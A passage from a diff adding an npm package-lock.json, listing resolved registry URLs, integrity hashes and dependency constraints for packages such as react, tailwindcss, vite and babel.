"^8.4.21" + } + }, + "node_modules/postcss-load-config": { + "version": "4.0.2", + "resolved": "https://registry.npmjs.org/postcss-load-config/-/postcss-load-config-4.0.2.tgz", + "integrity": "sha512-bSVhyJGL00wMVoPUzAVAnbEoWyqRxkjv64tUl427SKnPrENtq6hJwUojroMz2VB+Q1edmi4IfrAPpami5VVgMQ==", + "dev": true, + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + { + "type": "github", + "url": "https://github.com/sponsors/ai" + } + ], + "dependencies": { + "lilconfig": "^3.0.0", + "yaml": "^2.3.4" + }, + "engines": { + "node": ">= 14" + }, + "peerDependencies": { + "postcss": ">=8.0.9", + "ts-node": ">=9.0.0" + }, + "peerDependenciesMeta": { + "postcss": { + "optional": true + }, + "ts-node": { + "optional": true + } + } + }, + "node_modules/postcss-load-config/node_modules/lilconfig": { + "version": "3.0.0", + "resolved": "https://registry.npmjs.org/lilconfig/-/lilconfig-3.0.0.tgz", + "integrity": "sha512-K2U4W2Ff5ibV7j7ydLr+zLAkIg5JJ4lPn1Ltsdt+Tz/IjQ8buJ55pZAxoP34lqIiwtF9iAvtLv3JGv7CAyAg+g==", + "dev": true, + "engines": { + "node": ">=14" + } + }, + "node_modules/postcss-load-config/node_modules/yaml": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-2.3.4.tgz", + "integrity": "sha512-8aAvwVUSHpfEqTQ4w/KMlf3HcRdt50E5ODIQJBw1fQ5RL34xabzxtUlzTXVqc4rkZsPbvrXKWnABCD7kWSmocA==", + "dev": true, + "engines": { + "node": ">= 14" + } + }, + "node_modules/postcss-nested": { + "version": "6.0.1", + "resolved": "https://registry.npmjs.org/postcss-nested/-/postcss-nested-6.0.1.tgz", + "integrity": "sha512-mEp4xPMi5bSWiMbsgoPfcP74lsWLHkQbZc3sY+jWYd65CUwXrUaTp0fmNpa01ZcETKlIgUdFN/MpS2xZtqL9dQ==", + "dev": true, + "dependencies": { + "postcss-selector-parser": "^6.0.11" + }, + "engines": { + "node": ">=12.0" + }, + "funding": { + "type": "opencollective", + "url": "https://opencollective.com/postcss/" + }, + "peerDependencies": { + "postcss": "^8.2.14" + } + }, + "node_modules/postcss-selector-parser": { + "version": "6.0.13", + "resolved": "https://registry.npmjs.org/postcss-selector-parser/-/postcss-selector-parser-6.0.13.tgz", + "integrity": "sha512-EaV1Gl4mUEV4ddhDnv/xtj7sxwrwxdetHdWUGnT4VJQf+4d05v6lHYZr8N573k5Z0BViss7BDhfWtKS3+sfAqQ==", + "dev": true, + "dependencies": { + "cssesc": "^3.0.0", + "util-deprecate": "^1.0.2" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/postcss-value-parser": { + "version": "4.2.0", + "resolved": "https://registry.npmjs.org/postcss-value-parser/-/postcss-value-parser-4.2.0.tgz", + "integrity": "sha512-1NNCs6uurfkVbeXG4S8JFT9t19m45ICnif8zWLd5oPSZ50QnwMfK+H3jv408d4jw/7Bttv5axS5IiHoLaVNHeQ==", + "dev": true + }, + "node_modules/prop-types": { + "version": "15.8.1", + "resolved": "https://registry.npmjs.org/prop-types/-/prop-types-15.8.1.tgz", + "integrity": "sha512-oj87CgZICdulUohogVAR7AjlC0327U4el4L6eAvOqCeudMDVU0NThNaV+b9Df4dXgSP1gXMTnPdhfe/2qDH5cg==", + "dependencies": { + "loose-envify": "^1.4.0", + "object-assign": "^4.1.1", + "react-is": "^16.13.1" + } + }, + "node_modules/queue-microtask": { + "version": "1.2.3", + "resolved": "https://registry.npmjs.org/queue-microtask/-/queue-microtask-1.2.3.tgz", + "integrity": "sha512-NuaNSa6flKT5JaSYQzJok04JzTL1CA6aGhv5rfLW3PgqA+M2ChpZQnAC8h8i4ZFkBS8X5RqkDBHA7r4hej3K9A==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ] + }, + "node_modules/react": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react/-/react-18.2.0.tgz", + "integrity": "sha512-/3IjMdb2L9QbBdWiW5e3P2/npwMBaU9mHCSCUzNln0ZCYbcfTsGbTJrU/kGemdH2IWmB2ioZ+zkxtmq6g09fGQ==", + "dependencies": { + "loose-envify": "^1.1.0" + }, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-countup": { + "version": "6.4.2", + "resolved": "https://registry.npmjs.org/react-countup/-/react-countup-6.4.2.tgz", + "integrity": "sha512-wdDrNb2lPFGbLb+i0FTgswPbWziubS6KZRII8NRpXmUCoZsi15PFbIHgBz60Dyxd4KPuRvwsK5aawIU4OPP3jA==", + "dependencies": { + "@rollup/plugin-babel": "^6.0.3", + "countup.js": "^2.5.0" + }, + "peerDependencies": { + "react": ">= 16.3.0" + } + }, + "node_modules/react-dom": { + "version": "18.2.0", + "resolved": "https://registry.npmjs.org/react-dom/-/react-dom-18.2.0.tgz", + "integrity": "sha512-6IMTriUmvsjHUjNtEDudZfuDQUoWXVxKHhlEGSk81n4YFS+r/Kl99wXiwlVXtPBtJenozv2P+hxDsw9eA7Xo6g==", + "dependencies": { + "loose-envify": "^1.1.0", + "scheduler": "^0.23.0" + }, + "peerDependencies": { + "react": "^18.2.0" + } + }, + "node_modules/react-draggable": { + "version": "4.4.5", + "resolved": "https://registry.npmjs.org/react-draggable/-/react-draggable-4.4.5.tgz", + "integrity": "sha512-OMHzJdyJbYTZo4uQE393fHcqqPYsEtkjfMgvCHr6rejT+Ezn4OZbNyGH50vv+SunC1RMvwOTSWkEODQLzw1M9g==", + "dependencies": { + "clsx": "^1.1.1", + "prop-types": "^15.8.1" + }, + "peerDependencies": { + "react": ">= 16.3.0", + "react-dom": ">= 16.3.0" + } + }, + "node_modules/react-is": { + "version": "16.13.1", + "resolved": "https://registry.npmjs.org/react-is/-/react-is-16.13.1.tgz", + "integrity": "sha512-24e6ynE2H+OKt4kqsOvNd8kBpV65zoxbA4BVsEOB3ARVWQki/DHzaUoC5KuON/BiccDaCCTZBuOcfZs70kR8bQ==" + }, + "node_modules/react-refresh": { + "version": "0.14.0", + "resolved": "https://registry.npmjs.org/react-refresh/-/react-refresh-0.14.0.tgz", + "integrity": "sha512-wViHqhAd8OHeLS/IRMJjTSDHF3U9eWi62F/MledQGPdJGDhodXJ9PBLNGr6WWL7qlH12Mt3TyTpbS+hGXMjCzQ==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/react-remove-scroll": { + "version": "2.5.5", + "resolved": "https://registry.npmjs.org/react-remove-scroll/-/react-remove-scroll-2.5.5.tgz", + "integrity": "sha512-ImKhrzJJsyXJfBZ4bzu8Bwpka14c/fQt0k+cyFp/PBhTfyDnU5hjOtM4AG/0AMyy8oKzOTR0lDgJIM7pYXI0kw==", + "dependencies": { + "react-remove-scroll-bar": "^2.3.3", + "react-style-singleton": "^2.2.1", + "tslib": "^2.1.0", + "use-callback-ref": "^1.3.0", + "use-sidecar": "^1.1.2" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-remove-scroll-bar": { + "version": "2.3.4", + "resolved": "https://registry.npmjs.org/react-remove-scroll-bar/-/react-remove-scroll-bar-2.3.4.tgz", + "integrity": "sha512-63C4YQBUt0m6ALadE9XV56hV8BgJWDmmTPY758iIJjfQKt2nYwoUrPk0LXRXcB/yIj82T1/Ixfdpdk68LwIB0A==", + "dependencies": { + "react-style-singleton": "^2.2.1", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-style-singleton": { + "version": "2.2.1", + "resolved": "https://registry.npmjs.org/react-style-singleton/-/react-style-singleton-2.2.1.tgz", + "integrity": "sha512-ZWj0fHEMyWkHzKYUr2Bs/4zU6XLmq9HsgBURm7g5pAVfyn49DgUiNgY2d4lXRlYSiCif9YBGpQleewkcqddc7g==", + "dependencies": { + "get-nonce": "^1.0.0", + "invariant": "^2.2.4", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/react-textarea-autosize": { + "version": "8.3.4", + "resolved": "https://registry.npmjs.org/react-textarea-autosize/-/react-textarea-autosize-8.3.4.tgz", + "integrity": "sha512-CdtmP8Dc19xL8/R6sWvtknD/eCXkQr30dtvC4VmGInhRsfF8X/ihXCq6+9l9qbxmKRiq407/7z5fxE7cVWQNgQ==", + "dependencies": { + "@babel/runtime": "^7.10.2", + "use-composed-ref": "^1.3.0", + "use-latest": "^1.2.1" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/read-cache": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/read-cache/-/read-cache-1.0.0.tgz", + "integrity": "sha512-Owdv/Ft7IjOgm/i0xvNDZ1LrRANRfew4b2prF3OWMQLxLfu3bS8FVhCsrSCMK4lR56Y9ya+AThoTpDCTxCmpRA==", + "dev": true, + "dependencies": { + "pify": "^2.3.0" + } + }, + "node_modules/readdirp": { + "version": "3.6.0", + "resolved": "https://registry.npmjs.org/readdirp/-/readdirp-3.6.0.tgz", + "integrity": "sha512-hOS089on8RduqdbhvQ5Z37A0ESjsqz6qnRcffsMU3495FuTdqSm+7bhJ29JvIOsBDEEnan5DPu9t3To9VRlMzA==", + "dev": true, + "dependencies": { + "picomatch": "^2.2.1" + }, + "engines": { + "node": ">=8.10.0" + } + }, + "node_modules/regenerator-runtime": { + "version": "0.13.11", + "resolved": "https://registry.npmjs.org/regenerator-runtime/-/regenerator-runtime-0.13.11.tgz", + "integrity": "sha512-kY1AZVr2Ra+t+piVaJ4gxaFaReZVH40AKNo7UCX6W+dEwBo/2oZJzqfuN1qLq1oL45o56cPaTXELwrTh8Fpggg==" + }, + "node_modules/resolve": { + "version": "1.22.8", + "resolved": "https://registry.npmjs.org/resolve/-/resolve-1.22.8.tgz", + "integrity": "sha512-oKWePCxqpd6FlLvGV1VU0x7bkPmmCNolxzjMf4NczoDnQcIWrAF+cPtZn5i6n+RfD2d9i0tzpKnG6Yk168yIyw==", + "dependencies": { + "is-core-module": "^2.13.0", + "path-parse": "^1.0.7", + "supports-preserve-symlinks-flag": "^1.0.0" + }, + "bin": { + "resolve": "bin/resolve" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/resolve-from": { + "version": "4.0.0", + "resolved": "https://registry.npmjs.org/resolve-from/-/resolve-from-4.0.0.tgz", + "integrity": "sha512-pb/MYmXstAkysRFx8piNI1tGFNQIFA3vkE3Gq4EuA1dF6gHp/+vgZqsCGJapvy8N3Q+4o7FwvquPJcnZ7RYy4g==", + "engines": { + "node": ">=4" + } + }, + "node_modules/reusify": { + "version": "1.0.4", + "resolved": "https://registry.npmjs.org/reusify/-/reusify-1.0.4.tgz", + "integrity": "sha512-U9nH88a3fc/ekCF1l0/UP1IosiuIjyTh7hBvXVMHYgVcfGvt897Xguj2UOLDeI5BG2m7/uwyaLVT6fbtCwTyzw==", + "dev": true, + "engines": { + "iojs": ">=1.0.0", + "node": ">=0.10.0" + } + }, + "node_modules/rollup": { + "version": "2.78.1", + "resolved": "https://registry.npmjs.org/rollup/-/rollup-2.78.1.tgz", + "integrity": "sha512-VeeCgtGi4P+o9hIg+xz4qQpRl6R401LWEXBmxYKOV4zlF82lyhgh2hTZnheFUbANE8l2A41F458iwj2vEYaXJg==", + "devOptional": true, + "bin": { + "rollup": "dist/bin/rollup" + }, + "engines": { + "node": ">=10.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + } + }, + "node_modules/run-parallel": { + "version": "1.2.0", + "resolved": "https://registry.npmjs.org/run-parallel/-/run-parallel-1.2.0.tgz", + "integrity": "sha512-5l4VyZR86LZ/lDxZTR6jqL8AFE2S0IFLMP26AbjsLVADxHdhB/c0GUsH+y39UfCi3dzz8OlQuPmnaJOMoDHQBA==", + "dev": true, + "funding": [ + { + "type": "github", + "url": "https://github.com/sponsors/feross" + }, + { + "type": "patreon", + "url": "https://www.patreon.com/feross" + }, + { + "type": "consulting", + "url": "https://feross.org/support" + } + ], + "dependencies": { + "queue-microtask": "^1.2.2" + } + }, + "node_modules/safe-buffer": { + "version": "5.1.2", + "resolved": "https://registry.npmjs.org/safe-buffer/-/safe-buffer-5.1.2.tgz", + "integrity": "sha512-Gd2UZBJDkXlY7GbJxfsE8/nvKkUEU1G38c1siN6QP6a9PT9MmHB8GnpscSmMJSoF8LOIrt8ud/wPtojys4G6+g==" + }, + "node_modules/scheduler": { + "version": "0.23.0", + "resolved": "https://registry.npmjs.org/scheduler/-/scheduler-0.23.0.tgz", + "integrity": "sha512-CtuThmgHNg7zIZWAXi3AsyIzA3n4xx7aNyjwC2VJldO2LMVDhFK+63xGqq6CsJH4rTAt6/M+N4GhZiDYPx9eUw==", + "dependencies": { + "loose-envify": "^1.1.0" + } + }, + "node_modules/semver": { + "version": "6.3.0", + "resolved": "https://registry.npmjs.org/semver/-/semver-6.3.0.tgz", + "integrity": "sha512-b39TBaTSfV6yBrapU89p5fKekE2m/NwnDocOVruQFS1/veMgdzuPcnOM34M6CwxW8jH/lxEa5rBoDeUwu5HHTw==", + "bin": { + "semver": "bin/semver.js" + } + }, + "node_modules/source-map": { + "version": "0.5.7", + "resolved": "https://registry.npmjs.org/source-map/-/source-map-0.5.7.tgz", + "integrity": "sha512-LbrmJOMUSdEVxIKvdcJzQC+nQhe8FUZQTXQy6+I75skNgn3OoQ0DZA8YnFa7gp8tqtL3KPf1kmo0R5DoApeSGQ==", + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/source-map-js": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/source-map-js/-/source-map-js-1.0.2.tgz", + "integrity": "sha512-R0XvVJ9WusLiqTCEiGCmICCMplcCkIwwR11mOSD9CR5u+IXYdiseeEuXCVAjS54zqwkLcPNnmU4OeJ6tUrWhDw==", + "dev": true, + "engines": { + "node": ">=0.10.0" + } + }, + "node_modules/sourcemap-codec": { + "version": "1.4.8", + "resolved": "https://registry.npmjs.org/sourcemap-codec/-/sourcemap-codec-1.4.8.tgz", + "integrity": "sha512-9NykojV5Uih4lgo5So5dtw+f0JgJX30KCNI8gwhz2J9A15wD0Ml6tjHKwf6fTSa6fAdVBdZeNOs9eJ71qCk8vA==", + "dev": true + }, + "node_modules/stylis": { + "version": "4.1.3", + "resolved": "https://registry.npmjs.org/stylis/-/stylis-4.1.3.tgz", + "integrity": "sha512-GP6WDNWf+o403jrEp9c5jibKavrtLW+/qYGhFxFrG8maXhwTBI7gLLhiBb0o7uFccWN+EOS9aMO6cGHWAO07OA==" + }, + "node_modules/sucrase": { + "version": "3.34.0", + "resolved": "https://registry.npmjs.org/sucrase/-/sucrase-3.34.0.tgz", + "integrity": "sha512-70/LQEZ07TEcxiU2dz51FKaE6hCTWC6vr7FOk3Gr0U60C3shtAN+H+BFr9XlYe5xqf3RA8nrc+VIwzCfnxuXJw==", + "dev": true, + "dependencies": { + "@jridgewell/gen-mapping": "^0.3.2", + "commander": "^4.0.0", + "glob": "7.1.6", + "lines-and-columns": "^1.1.6", + "mz": "^2.7.0", + "pirates": "^4.0.1", + "ts-interface-checker": "^0.1.9" + }, + "bin": { + "sucrase": "bin/sucrase", + "sucrase-node": "bin/sucrase-node" + }, + "engines": { + "node": ">=8" + } + }, + "node_modules/sucrase/node_modules/@jridgewell/gen-mapping": { + "version": "0.3.3", + "resolved": "https://registry.npmjs.org/@jridgewell/gen-mapping/-/gen-mapping-0.3.3.tgz", + "integrity": "sha512-HLhSWOLRi875zjjMG/r+Nv0oCW8umGb0BgEhyX3dDX3egwZtB8PqLnjz3yedt8R5StBrzcg4aBpnh8UA9D1BoQ==", + "dev": true, + "dependencies": { + "@jridgewell/set-array": "^1.0.1", + "@jridgewell/sourcemap-codec": "^1.4.10", + "@jridgewell/trace-mapping": "^0.3.9" + }, + "engines": { + "node": ">=6.0.0" + } + }, + "node_modules/supports-color": { + "version": "5.5.0", + "resolved": "https://registry.npmjs.org/supports-color/-/supports-color-5.5.0.tgz", + "integrity": "sha512-QjVjwdXIt408MIiAqCX4oUKsgU2EqAGzs2Ppkm4aQYbjm+ZEWEcW4SfFNTr4uMNZma0ey4f5lgLrkB0aX0QMow==", + "dependencies": { + "has-flag": "^3.0.0" + }, + "engines": { + "node": ">=4" + } + }, + "node_modules/supports-preserve-symlinks-flag": { + "version": "1.0.0", + "resolved": "https://registry.npmjs.org/supports-preserve-symlinks-flag/-/supports-preserve-symlinks-flag-1.0.0.tgz", + "integrity": "sha512-ot0WnXS9fgdkgIcePe6RHNk1WA8+muPa6cSjeR3V8K27q9BB1rTE3R1p7Hv0z1ZyAc8s6Vvv8DIyWf681MAt0w==", + "engines": { + "node": ">= 0.4" + }, + "funding": { + "url": "https://github.com/sponsors/ljharb" + } + }, + "node_modules/tabbable": { + "version": "6.1.1", + "resolved": "https://registry.npmjs.org/tabbable/-/tabbable-6.1.1.tgz", + "integrity": "sha512-4kl5w+nCB44EVRdO0g/UGoOp3vlwgycUVtkk/7DPyeLZUCuNFFKCFG6/t/DgHLrUPHjrZg6s5tNm+56Q2B0xyg==" + }, + "node_modules/tailwindcss": { + "version": "3.3.5", + "resolved": "https://registry.npmjs.org/tailwindcss/-/tailwindcss-3.3.5.tgz", + "integrity": "sha512-5SEZU4J7pxZgSkv7FP1zY8i2TIAOooNZ1e/OGtxIEv6GltpoiXUqWvLy89+a10qYTB1N5Ifkuw9lqQkN9sscvA==", + "dev": true, + "dependencies": { + "@alloc/quick-lru": "^5.2.0", + "arg": "^5.0.2", + "chokidar": "^3.5.3", + "didyoumean": "^1.2.2", + "dlv": "^1.1.3", + "fast-glob": "^3.3.0", + "glob-parent": "^6.0.2", + "is-glob": "^4.0.3", + "jiti": "^1.19.1", + "lilconfig": "^2.1.0", + "micromatch": "^4.0.5", + "normalize-path": "^3.0.0", + "object-hash": "^3.0.0", + "picocolors": "^1.0.0", + "postcss": "^8.4.23", + "postcss-import": "^15.1.0", + "postcss-js": "^4.0.1", + "postcss-load-config": "^4.0.1", + "postcss-nested": "^6.0.1", + "postcss-selector-parser": "^6.0.11", + "resolve": "^1.22.2", + "sucrase": "^3.32.0" + }, + "bin": { + "tailwind": "lib/cli.js", + "tailwindcss": "lib/cli.js" + }, + "engines": { + "node": ">=14.0.0" + } + }, + "node_modules/thenify": { + "version": "3.3.1", + "resolved": "https://registry.npmjs.org/thenify/-/thenify-3.3.1.tgz", + "integrity": "sha512-RVZSIV5IG10Hk3enotrhvz0T9em6cyHBLkH/YAZuKqd8hRkKhSfCGIcP2KUY0EPxndzANBmNllzWPwak+bheSw==", + "dev": true, + "dependencies": { + "any-promise": "^1.0.0" + } + }, + "node_modules/thenify-all": { + "version": "1.6.0", + "resolved": "https://registry.npmjs.org/thenify-all/-/thenify-all-1.6.0.tgz", + "integrity": "sha512-RNxQH/qI8/t3thXJDwcstUO4zeqo64+Uy/+sNVRBx4Xn2OX+OZ9oP+iJnNFqplFra2ZUVeKCSa2oVWi3T4uVmA==", + "dev": true, + "dependencies": { + "thenify": ">= 3.1.0 < 4" + }, + "engines": { + "node": ">=0.8" + } + }, + "node_modules/to-fast-properties": { + "version": "2.0.0", + "resolved": "https://registry.npmjs.org/to-fast-properties/-/to-fast-properties-2.0.0.tgz", + "integrity": "sha512-/OaKK0xYrs3DmxRYqL/yDc+FxFUVYhDlXMhRmv3z915w2HF1tnN1omB354j8VUGO/hbRzyD6Y3sA7v7GS/ceog==", + "engines": { + "node": ">=4" + } + }, + "node_modules/to-regex-range": { + "version": "5.0.1", + "resolved": "https://registry.npmjs.org/to-regex-range/-/to-regex-range-5.0.1.tgz", + "integrity": "sha512-65P7iz6X5yEr1cwcgvQxbbIw7Uk3gOy5dIdtZ4rDveLqhrdJP+Li/Hx6tyK0NEb+2GCyneCMJiGqrADCSNk8sQ==", + "dev": true, + "dependencies": { + "is-number": "^7.0.0" + }, + "engines": { + "node": ">=8.0" + } + }, + "node_modules/ts-interface-checker": { + "version": "0.1.13", + "resolved": "https://registry.npmjs.org/ts-interface-checker/-/ts-interface-checker-0.1.13.tgz", + "integrity": "sha512-Y/arvbn+rrz3JCKl9C4kVNfTfSm2/mEp5FSz5EsZSANGPSlQrpRI5M4PKF+mJnE52jOO90PnPSc3Ur3bTQw0gA==", + "dev": true + }, + "node_modules/tslib": { + "version": "2.5.0", + "resolved": "https://registry.npmjs.org/tslib/-/tslib-2.5.0.tgz", + "integrity": "sha512-336iVw3rtn2BUK7ORdIAHTyxHGRIHVReokCR3XjbckJMK7ms8FysBfhLR8IXnAgy7T0PTPNBWKiH514FOW/WSg==" + }, + "node_modules/typescript": { + "version": "4.8.4", + "resolved": "https://registry.npmjs.org/typescript/-/typescript-4.8.4.tgz", + "integrity": "sha512-QCh+85mCy+h0IGff8r5XWzOVSbBO+KfeYrMQh7NJ58QujwcE22u+NUSmUxqF+un70P9GXKxa2HCNiTTMJknyjQ==", + "dev": true, + "bin": { + "tsc": "bin/tsc", + "tsserver": "bin/tsserver" + }, + "engines": { + "node": ">=4.2.0" + } + }, + "node_modules/update-browserslist-db": { + "version": "1.0.10", + "resolved": "https://registry.npmjs.org/update-browserslist-db/-/update-browserslist-db-1.0.10.tgz", + "integrity": "sha512-OztqDenkfFkbSG+tRxBeAnCVPckDBcvibKd35yDONx6OU8N7sqgwc7rCbkJ/WcYtVRZ4ba68d6byhC21GFh7sQ==", + "funding": [ + { + "type": "opencollective", + "url": "https://opencollective.com/browserslist" + }, + { + "type": "tidelift", + "url": "https://tidelift.com/funding/github/npm/browserslist" + } + ], + "dependencies": { + "escalade": "^3.1.1", + "picocolors": "^1.0.0" + }, + "bin": { + "browserslist-lint": "cli.js" + }, + "peerDependencies": { + "browserslist": ">= 4.21.0" + } + }, + "node_modules/use-callback-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-callback-ref/-/use-callback-ref-1.3.0.tgz", + "integrity": "sha512-3FT9PRuRdbB9HfXhEq35u4oZkvpJ5kuYbpqhCfmiZyReuRgpnhDlbr2ZEnnuS0RrJAPn6l23xjFg9kpDM+Ms7w==", + "dependencies": { + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.8.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-composed-ref": { + "version": "1.3.0", + "resolved": "https://registry.npmjs.org/use-composed-ref/-/use-composed-ref-1.3.0.tgz", + "integrity": "sha512-GLMG0Jc/jiKov/3Ulid1wbv3r54K9HlMW29IWcDFPEqFkSO2nS0MuefWgMJpeHQ9YJeXDL3ZUF+P3jdXlZX/cQ==", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + } + }, + "node_modules/use-isomorphic-layout-effect": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-isomorphic-layout-effect/-/use-isomorphic-layout-effect-1.1.2.tgz", + "integrity": "sha512-49L8yCO3iGT/ZF9QttjwLF/ZD9Iwto5LnH5LmEdk/6cFmXddqi2ulF0edxTwjj+7mqvpVVGQWvbXZdn32wRSHA==", + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-latest": { + "version": "1.2.1", + "resolved": "https://registry.npmjs.org/use-latest/-/use-latest-1.2.1.tgz", + "integrity": "sha512-xA+AVm/Wlg3e2P/JiItTziwS7FK92LWrDB0p+hgXloIMuVCeJJ8v6f0eeHyPZaJrM+usM1FkFfbNCrJGs8A/zw==", + "dependencies": { + "use-isomorphic-layout-effect": "^1.1.1" + }, + "peerDependencies": { + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/use-sidecar": { + "version": "1.1.2", + "resolved": "https://registry.npmjs.org/use-sidecar/-/use-sidecar-1.1.2.tgz", + "integrity": "sha512-epTbsLuzZ7lPClpz2TyryBfztm7m+28DlEv2ZCQ3MDr5ssiwyOwGH/e5F9CkfWjJ1t4clvI58yF822/GUkjjhw==", + "dependencies": { + "detect-node-es": "^1.1.0", + "tslib": "^2.0.0" + }, + "engines": { + "node": ">=10" + }, + "peerDependencies": { + "@types/react": "^16.9.0 || ^17.0.0 || ^18.0.0", + "react": "^16.8.0 || ^17.0.0 || ^18.0.0" + }, + "peerDependenciesMeta": { + "@types/react": { + "optional": true + } + } + }, + "node_modules/util-deprecate": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/util-deprecate/-/util-deprecate-1.0.2.tgz", + "integrity": "sha512-EPD5q1uXyFxJpCrLnCc1nHnq3gOa6DZBocAIiI2TaSCA7VCJ1UJDMagCzIkXNsUYfD1daK//LTEQ8xiIbrHtcw==", + "dev": true + }, + "node_modules/vite": { + "version": "3.1.6", + "resolved": "https://registry.npmjs.org/vite/-/vite-3.1.6.tgz", + "integrity": "sha512-qMXIwnehvvcK5XfJiXQUiTxoYAEMKhM+jqCY6ZSTKFBKu1hJnAKEzP3AOcnTerI0cMZYAaJ4wpW1wiXLMDt4mA==", + "dev": true, + "dependencies": { + "esbuild": "^0.15.9", + "postcss": "^8.4.16", + "resolve": "^1.22.1", + "rollup": "~2.78.0" + }, + "bin": { + "vite": "bin/vite.js" + }, + "engines": { + "node": "^14.18.0 || >=16.0.0" + }, + "optionalDependencies": { + "fsevents": "~2.3.2" + }, + "peerDependencies": { + "less": "*", + "sass": "*", + "stylus": "*", + "terser": "^5.4.0" + }, + "peerDependenciesMeta": { + "less": { + "optional": true + }, + "sass": { + "optional": true + }, + "stylus": { + "optional": true + }, + "terser": { + "optional": true + } + } + }, + "node_modules/wrappy": { + "version": "1.0.2", + "resolved": "https://registry.npmjs.org/wrappy/-/wrappy-1.0.2.tgz", + "integrity": "sha512-l4Sp/DRseor9wL6EvV2+TuQn63dMkPjZ/sp9XkghTEbV9KlPS1xUsZ3u7/IQO4wxtcFB4bgpQPRcR3QCvezPcQ==", + "dev": true + }, + "node_modules/yaml": { + "version": "1.10.2", + "resolved": "https://registry.npmjs.org/yaml/-/yaml-1.10.2.tgz", + "integrity": "sha512-r3vXyErRCYJ7wg28yvBY5VSoAF8ZvlcW9/BwUzEtUsjvX/DKs24dIkuwjtuprwJJHsbyUbLApepYTR1BN4uHrg==", + "engines": { + "node": ">= 6" + } + } + }, + "dependencies": { + "@alloc/quick-lru": { + "version": "5.2.0", + "resolved": "https://registry.npmjs.org/@alloc/quick-lru/-/quick-lru-5.2.0.tgz", + "integrity": "sha512-UrcABB+4bUrFABwbluTIBErXwvbsU/V7TZWfmbgJfbkwiBuziS9gxdODUyuiecfdGQ85jglMW6juS3+z5TsKLw==", + "dev": true + }, + "@ampproject/remapping": { + "version": "2.2.0", + "resolved": "https://registry.npmjs.org/@ampproject/remapping/-/remapping-2.2.0.tgz", + "integrity": "sha512-qRmjj8nj9qmLTQXXmaR1cck3UXSRMPrbsLJAasZpF+t3riI71BXed5ebIOYwQntykeZuhjsdweEc9BxH5Jc26w==", + "requires": { + "@jridgewell/gen-mapping": "^0.1.0", + "@jridgewell/trace-mapping": "^0.3.9" + } + }, + "@babel/code-frame": { + "version": "7.18.6", + "resolved": "https://registry.npmjs.org/@babel/code-frame/-/code-frame-7.18.6.tgz", + "integrity": "sha512-TDCmlK5eOvH+eH7cdAFlNXeVJqWIQ7gW9tY1GJIpUtFb6CmjVyq2VM3u71bOyR8CRihcCgMUYoDNyLXao3+70Q==", + "requires": { + "@babel/highlight": "^7.18.6" + } + }, + "@babel/compat-data": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/compat-data/-/compat-data-7.19.3.tgz", + "integrity": "sha512-prBHMK4JYYK+wDjJF1q99KK4JLL+egWS4nmNqdlMUgCExMZ+iZW0hGhyC3VEbsPjvaN0TBhW//VIFwBrk8sEiw==" + }, + "@babel/core": { + "version": "7.19.3", + "resolved": "https://registry.npmjs.org/@babel/core/-/core-7.19.3.tgz", + "integrity": "sha512-WneDJxdsjEvyKtXKsaBGbDeiyOjR5vYq4HcShxnIbG0qixpoHjI3MqeZM9NDvsojNCEBItQE4juOo/bU6e72gQ==", + "requires": { + "@ampproject/remapping": "^2.1.0", + "@babel/code-frame": "^7.18.6", + "@babel/generator": "^7.19.3", + "@babel/helper-compilation-targets": "^7.19.3", + "@babel/helper-module-transforms": "^7.19.0", + "@babel/helpers": "^7.19.0", + "@babel/parser": "^7.19.3", + "@babel/template": "^7.18.10", + "@babel/traverse": "^7.19.3", + "@babel/types": "^7.19.3", + "convert-source-map": "^1.7.0", + "debug": "^4.1.0", + "gensync": "^1.0.0-beta.2", + "json5": "^2.2.1", + "semver": "^6.3.0" + } + }, + "@babel/generator": { + "version": "7.19.3", + "resolved": 